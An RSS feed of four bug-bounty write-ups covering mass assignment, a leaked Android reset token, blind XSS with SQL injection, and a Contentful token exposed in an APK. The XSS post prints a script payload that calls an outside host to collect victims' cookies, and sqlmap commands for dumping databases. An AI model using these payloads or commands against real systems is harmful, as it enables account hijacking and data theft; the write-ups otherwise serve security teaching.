<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Cyberali on Medium]]></title>
        <description><![CDATA[Stories by Cyberali on Medium]]></description>
        <link>https://medium.com/@cyberali?source=rss-d8c759fd5579------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*hgjUn7csc5HWK0MU9KPXUg.jpeg</url>
            <title>Stories by Cyberali on Medium</title>
            <link>https://medium.com/@cyberali?source=rss-d8c759fd5579------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 24 Nov 2026 03:56:19 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@cyberali/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Mass Assignment Leading to Pre Account Takeover]]></title>
            <link>https://medium.com/@cyberali/mass-assignment-leading-to-pre-account-takeover-13041280a0d9?source=rss-d8c759fd5579------2</link>
            <guid isPermaLink="false">https://medium.com/p/13041280a0d9</guid>
            <category><![CDATA[bounty-program]]></category>
            <category><![CDATA[testing]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[Cyberali]]></dc:creator>
            <pubDate>Wed, 21 Sep 2022 08:31:43 GMT</pubDate>
            <atom:updated>2022-09-21T08:31:43.647Z</atom:updated>
            <content:encoded><![CDATA[<p>API also called as Application Programmable Interface is used everywhere from modern automotive (smart), mobile, web and IOT devices etc. They are the building block of application now a days. Moving from web2.0 to web3.0 we find it everywhere. It helps the computing capabilities to utilize the resources of each other by providing ease in communication. Like in order to make two individuals from different language and country, come on same point of understanding we will have to come on same level so we will invite a third person who will help those two individuals in translating. So that third person is acting as API between two.</p><p>We have a basic idea about why API’s are used. Moving forward towards security perspective, I want to share one of my interesting finding on a private program. I found some interesting vulnerabilities in the target domain but at that time I just started API testing and I was looking to exploit the API level vulnerability to evaluate my learning. I focused on API OWASP top 10 which I learned from <a href="https://github.com/erev0s/VAmPI">VAmpI Lab</a>.</p><p>My target was under-development and the scope was limited. I though to break the scope while being in the scope (I know you didn’t understood this line. Haahahha).</p><p>Following Functionality which is appearing in the below screen shot was restricted:</p><p><strong>Email Edit.</strong></p><p><strong>Profile Photo.</strong></p><p>We can only change the <strong>Name</strong> field.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zl-PE5lbIZ0PASkSGoYgPg.png" /><figcaption>Profile Information of Target</figcaption></figure><p>I was thinking what else I could do at this endpoint. When reviewing the OWASP top 10 I got stuck on <strong>Mass Assignment</strong>.</p><p><strong>Mass Assignment</strong></p><p>In this vulnerability the developer has left an “open window” for a normal user to be able to manipulate the request post body and add sensitive parameter’s like is_Admin, email, new_password etc. The guessing of parameters and it’s value is a little bit challenging. Once parameter is guessed the exploit is easy and interesting. This is something more known as Mass Assignment where guessing object`s properties and exploring options in endpoints is involved.</p><p>In target Web Application, The attacker can easily register and verify on the behalf of other users without their knowledge. When changing the profile record there is no option for changing the email account on target, due to mass assignment the attacker can easily inject a custom key value “email”:”victims_email” to register on victims account. After injecting the email of the victim, the attacker can also verify his email. Just click on the verify account the attacker will receive an email with a verification link, click it and the account is verified. Now logout and again login with the attackers credentials you will not be able to login. Change the email with new email(victims) You will be logged in.</p><p>Since you have a clear concept about how <strong>Mass Assignment</strong> Vulnerability works, now let’s move towards the steps which I followed to exploit this vulnerability.</p><p><strong>Steps to Reproduce:</strong></p><ol><li>Create an account on your target domain.</li><li>Navigate towards the Edit Profile Option and sharply filter the functionality. Like what options are available to edit and what options are restricted. In my case, change email option was not allowed to edit.</li><li>Change the Name field and Turn on your burp suite proxy intercept.</li><li>Click on submit button. Capture the request on burp suite.</li><li>In proxy tab, right click and send the request to repeater. Add a parameter named as “email” in request body and click on send.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/853/1*Td9e17SoWklubFhnPsEj3Q.png" /><figcaption>Request Captured in Burp suite</figcaption></figure><p>6. The request will be successfully completed and attacker will receive a conformation link in his account i.e. to confirm if he wants to change the email or not. After the attacker confirms the link victims email will be added to the attackers account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/766/1*mBDez4iJTO42I4AcmODwHA.png" /><figcaption>Confirmation Link Attacker Receives</figcaption></figure><p><strong>Bounty:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/488/1*oLCYV0f_x3dNadtCPRKzaw.png" /><figcaption>Bounty Received</figcaption></figure><p>It the end, I would like to say don’t just stick to the available functionality. Think out of the box and try to make the application behave abnormally. Like I did, the normal behavior was something else and I closed the bug on a different functionality which was not apparently present on the system.</p><p>Just Chill….Don’t forget the coffee cup…</p><p>Thank you!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=13041280a0d9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Android Application Forgot Password Token Leakage Leading to Account Takeover]]></title>
            <link>https://medium.com/@cyberali/android-application-forgot-password-token-leakage-leading-to-account-takeover-8a0b28296531?source=rss-d8c759fd5579------2</link>
            <guid isPermaLink="false">https://medium.com/p/8a0b28296531</guid>
            <dc:creator><![CDATA[Cyberali]]></dc:creator>
            <pubDate>Mon, 19 Sep 2022 11:14:46 GMT</pubDate>
            <atom:updated>2022-09-19T11:14:46.250Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello Hunter,</p><p>I hope you all are doing well. I am back to put one of my finding’s in words. It was my first android bug hunting target. I was really excited and motivated as my first report was rejected due to low severity. I was just understanding the flow of this application and going through recon process. After capturing and analyzing some functionalities, I came across the forgot password endpoint of the <strong>target</strong>.</p><p>Authentication process protects from unauthorized access of the resources. Unfortunately the developer forgot to utilize and implement the features behind the authentication layer. Normally the reset password token is handled on the backend by making an API call to the backend to create a token, saving it in the database, assigning it to the user and sending via email.</p><p>In the <strong>target</strong> app, the application is showing abnormal behavior. After entering the email and Clicking on reset password the token of reset password can be easily seen disclosed in response. It means that the application is handling the reset token on frontend which is leading to leak in response and complete compromise of account.</p><p><strong>Steps to Reproduce:</strong></p><ol><li>Register on the target application and Log Out.</li><li>Navigate to forgot password form.</li><li>Enter the Registered Email, Turn on the burp suite proxy and click on submit.</li><li>Capture the request and Right Click and send the request to repeater.</li><li>Click on Send. BOOOOM! You will see the token in the response.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/650/1*8dlPPc87D5P6e-b7A7URFg.png" /></figure><p>No effort just send the request to repeater.</p><p><strong>Impact:</strong></p><p>Attackers can easily take over any user’s account by just knowing his Email which is available to the public easily. It is a critical vulnerability because the goal of every attacker is to take over the user’s account. After utilizing the leaked reset token, he can change the password of any user and enjoy the Purchases Plans. The attacker can also get unauthorized access to the web application after changing the password from the mobile application. This Vulnerability is affecting users’ accounts on mobile and web. There are options to connect to a Facebook, apple or google account, an attacker can misuse it or attach his own account. Complete compromise of victims account making this vulnerability very critical because account takeover is one of the main goal of every attacker.</p><p><strong>Bounty:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/861/1*z5-KT4kqPWvaJADLGUjpWg.png" /></figure><p>Just Chill….Don’t forget the coffee cup…</p><p>Thank you!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8a0b28296531" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Blind XSS and Time-Based SQL Injection to Admin Panel Control and Database Takeover]]></title>
            <link>https://medium.com/@cyberali/blind-xss-and-time-based-sql-injection-to-admin-panel-control-and-database-takeover-9b7645a53748?source=rss-d8c759fd5579------2</link>
            <guid isPermaLink="false">https://medium.com/p/9b7645a53748</guid>
            <category><![CDATA[database-takeover]]></category>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[admin-panel-control]]></category>
            <category><![CDATA[blind-xss]]></category>
            <category><![CDATA[sqlmap]]></category>
            <dc:creator><![CDATA[Cyberali]]></dc:creator>
            <pubDate>Tue, 13 Sep 2022 16:10:09 GMT</pubDate>
            <atom:updated>2022-09-19T11:15:15.679Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello Fellas,</p><p>Aim of every attacker is to gain full access to the admin panel or deep dive into the database. What if I give you a flavor of both in one article.</p><p>It was a rainy day. I was sitting in my office. I opened my Gmail inbox. Wows Wait What? There was a notification from XSSHunter.</p><p>Cross site scripting has been a problem for more than a decade and it’s one of my favorite vulnerabilities.</p><p>What is XSS or <strong>Cross Site Scripting Attack</strong>?</p><p>It is a Client Side Attack in which the attacker searches for the weak endpoint in the target website and injects the malicious JavaScript code in the client’s browser. Weak endpoints include input fields, URL parameters, image or file upload, user-agent, referrer header, feedback and contact us forms etc.</p><p>What can an Attacker do?</p><p>Attackers can execute scripts in a victim’s browser to hijack user sessions, deface websites, insert hostile content, redirect users, hijack the user’s browser using malware, etc.</p><p><strong>Types of XSS:</strong></p><ol><li><strong>Reflected XSS:-</strong> Non persistent and Injected Code is reflected on the application code. The code executes if the endpoints are not filtered or sanitized properly.</li><li><strong>DOM Based XSS: </strong>— It occurs by altering the DOM in the victim’s browser. It allows the user to run the code without the user’s knowledge.</li><li><strong>Stored XSS: </strong>— Injected Code becomes a persistent part of the web application. The malicious code gets stored in the web sites database and is executed every time when the page is visited where the payload is stored.</li></ol><p><strong>Note:</strong> I will not reveal the name of the website. I will call it <strong>redicated.com</strong> where necessary.</p><p><strong>Description:</strong></p><p>There was a functionality in the website, where the students fill the form and the application gets submitted to become a part of the class group. After successful submission the detail becomes visible on the teacher’s account and he/ she must approve the student’s form. The same content is visible on the admin panel or super admin.<strong> </strong>In this form there were 4 input fields i.e. Email, Name, Institute, Group ID. After injecting the payload. Whenever the admin views the information of students I receive a notification in my Gmail.</p><p><strong>Steps to Reproduce:</strong></p><p>I filled the necessary fields, but concatenated my xsshunter payload with my email address i.e. <strong>xyz@gmail.com “&gt;&lt;script src=https://link.xss.ht&gt;&lt;/script&gt;</strong></p><p>The payload got saved in the database. Here, whenever the teacher will view my information to approve or reject, the payload will execute and the attacker(me) will receive the notification in his/ her inbox.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*F9LGtySc1M_kJ8Qg" /></figure><p>After the successful triggering of payload the attacker will get below things in his xsshunter account. i.e.</p><ol><li>IP Address of Victim</li></ol><p>2. DOM</p><p>3. Cookie</p><p>4. Screenshot where it is executed</p><p>I received an email in my inbox. Now I was reporting this vulnerability as “<strong>Blind XSS”, </strong>but the DOM I received made me curious. Here I was thinking what the admin panel would be like. An idea triggered in my mind:-</p><p>I created a file with an HTML extension.</p><p>Copied the DOM I received in my xsshunter account.</p><p>Pasted in the file and opened in my browser.</p><p>Here I was able to see a dummy admin panel with static pages.</p><p>Here there was a navigation bar at the top. I hovered it and clicked on <strong>megadmin.</strong></p><p>I was redirected to the admin panel where I was able to perform CRUD operations on all the active users. I searched my record and BOOOOOOOOOOOOM got it man….</p><p>One by One I tested all the navigations and there was no authentication on the URLS. I was able to steal the invoices, Generate API keys, PayPal information, delete the Documents, view/edit the time table, record the employees completely and Many more.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*UZ2d8XfwIhWljFbw" /></figure><p>I didn’t reported that vulnerability. I was looking for something new because I was not still satisfied from this vulnerability. I was looking for same vulnerabilities which we find on the normal available interface in the admin end. So one by one I started crawling the admin interfaces. I found more interesting vulnerabilities like reflected XSS and SQL Injection. Description of SQL injection is given below:</p><p><strong>What is SQL Injection?</strong></p><p>SQL injection in simple words is a vulnerability in which the attacker interferes or communicates with the database. The attacker can retrieve all the data from DB without any restriction. This is because the user input is directly hitting the database query.</p><p>After reporting the above vulnerability my curiosity made me think that<strong> it’s not enough</strong>. After crawling some URLs I found an interesting endpoint shown below:</p><p><a href="https://www.xyz.com/user/invoice.php?id_facture=123456&amp;megadmin=true&amp;id_user=">https://www.XYZ.com/user/invoice.php?id_facture=123456&amp;megadmin=true&amp;<strong>id_user</strong></a>=&lt;&lt;32 bits key&gt;&gt;</p><p>I inserted (<strong>‘</strong>) at the end of id_user value. BOOOOOM I got an error from MySQL DB. It’s time to take out SQLMap.</p><p>First of all I used SQLMap to verify the detected SQL Injection using the below command</p><p>sqlmap -u “<a href="https://www.xyz.com/user/invoice.php?id_facture=123456&amp;megadmin=true&amp;id_user=">https://www.XYZ.com/user/invoice.php?id_facture=123456&amp;megadmin=true&amp;id_user</a>=&lt;&lt;32 bits key&gt;&gt;” -p id_user — level=5</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/0*K0e_gXE-3cmPzIyD" /></figure><p>After seeing that the parameter is vulnerable i retrieved the databases using below command:</p><p><strong>sqlmap -u “</strong><a href="https://www.xyz.com/user/invoice.php?id_facture=123456&amp;megadmin=true&amp;id_user=">https://www.XYZ.com/user/invoice.php?id_facture=123456&amp;megadmin=true&amp;id_user</a>=&lt;&lt;32 bits key&gt;&gt;<strong>” -p id_user — level=5 — dbs</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/591/0*UowOMs_BlRKjY6rg" /></figure><p><strong>To get the tables of database XYZ_cms</strong></p><p><strong>sqlmap -u “</strong><a href="https://www.xyz.com/user/invoice.php?id_facture=123456&amp;megadmin=true&amp;id_user=">https://www.XYZ.com/user/invoice.php?id_facture=123456&amp;megadmin=true&amp;id_user</a>=&lt;&lt;32 bits key&gt;&gt;<strong>” -p id_user — level=5 — tables -D &lt;&lt;database name&gt;&gt;</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/352/0*bf6l8hvd7Ua2Gmkl" /></figure><p><strong>Below is the command i used to fetch the columns:</strong></p><p><strong>sqlmap -u “</strong><a href="https://www.xyz.com/user/invoice.php?id_facture=123456&amp;megadmin=true&amp;id_user=">https://www.XYZ.com/user/invoice.php?id_facture=123456&amp;megadmin=true&amp;id_user</a>=&lt;&lt;32 bits key&gt;&gt;<strong>” -p id_user — level=5 — columns -D &lt;&lt;database name&gt;&gt; -T &lt;&lt;table name&gt;&gt;</strong></p><p>The next day I received the below mail($$$$) . It was a great motivation. I will keep sharing my experience and techniques with my fellas. Keep supporting and motivating me. Thank you</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/858/0*FKkcmxmTQkVmmKJ1" /></figure><p>At the end, I would like to say that spend as much time on your target as you can. Try to exploit inject the XSSHunter payload in every possible field as possible, it might be possible that the payload may execute on the server admin side.</p><p>Just Chill….Don’t forget the coffee cup…</p><p>Thank you!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9b7645a53748" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Contentful Access Token Disclosure in Android APK]]></title>
            <link>https://medium.com/@cyberali/contentful-access-token-disclosure-in-android-apk-ace5f7bdf98?source=rss-d8c759fd5579------2</link>
            <guid isPermaLink="false">https://medium.com/p/ace5f7bdf98</guid>
            <dc:creator><![CDATA[Cyberali]]></dc:creator>
            <pubDate>Fri, 12 Aug 2022 06:23:52 GMT</pubDate>
            <atom:updated>2022-09-19T11:15:43.727Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello, My name is Ali, a Penetration Tester and a Certified Ethical Hacker. It’s my first write-up of 2022 on Android APK Pen testing. I was sitting in my office and saw a Hacker One invite alert on my G-Mail inbox. Just saw the scope and was BANG!!! so BIG.</p><p>I find it more interesting to test android applications. So, I simply downloaded the <a href="http://apkpure.com/">APK</a>. Since the dynamic testing of android takes some configuration time I started from static testing, the code review. While doing so I found a file in path apkname/BuildConfig. Just opened and started reviewing, as there were some interesting key-value pairs so I decided to keep observing every value keenly. I saw two keys <strong><em>CONTENTFUL_ACCESS_TOKEN</em></strong> and <strong><em>CONTENTFUL_SPACE</em></strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/856/1*VVfV80lsr_hWn1G_YpnfGg.png" /></figure><p>Now, I searched on google for any already disclosed reports. But unfortunately couldn’t find any. So I decided to read the documentation from contentful.com.</p><p>Contentful is basically used to assemble the content and delivery faster. So to retrieve the content, we need to authenticate ourselves to show that we are legitimate users. Now there were two ways to send authentication request via CURL command:</p><p><strong>As a query parameter:</strong><br><em>curl -v </em><a href="https://cdn.contentful.com/spaces/cfexampleapi/entries?access_token=b4c0n73n7fu1"><em>https://cdn.contentful.com/spaces/cfexampleapi/entries?access_token=b4c0n73n7fu1</em></a></p><p><strong>As a header:</strong><br><em>curl -v </em><a href="https://cdn.contentful.com/spaces/cfexampleapi/entries"><em>https://cdn.contentful.com/spaces/cfexampleapi/entries</em></a><em> -H ‘Authorization: Bearer b4c0n73n7fu1’</em></p><p>I used the “Query Parameter” option copy/ pasted the command on my Linux terminal, Changed the required parameters, pressed ENTER and BOOM! received my targets information stored on contentful.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oh4NEIy3pYxbr_5BemAHCQ.png" /></figure><p><strong>Conclusion:</strong></p><p>Always read the documentation of access tokens, API keys or what ever sensitive you find when doing pen testing. It will provide you a new way of exploiting. May be the exploit is written on documentation.</p><p>Thank You!!!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ace5f7bdf98" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>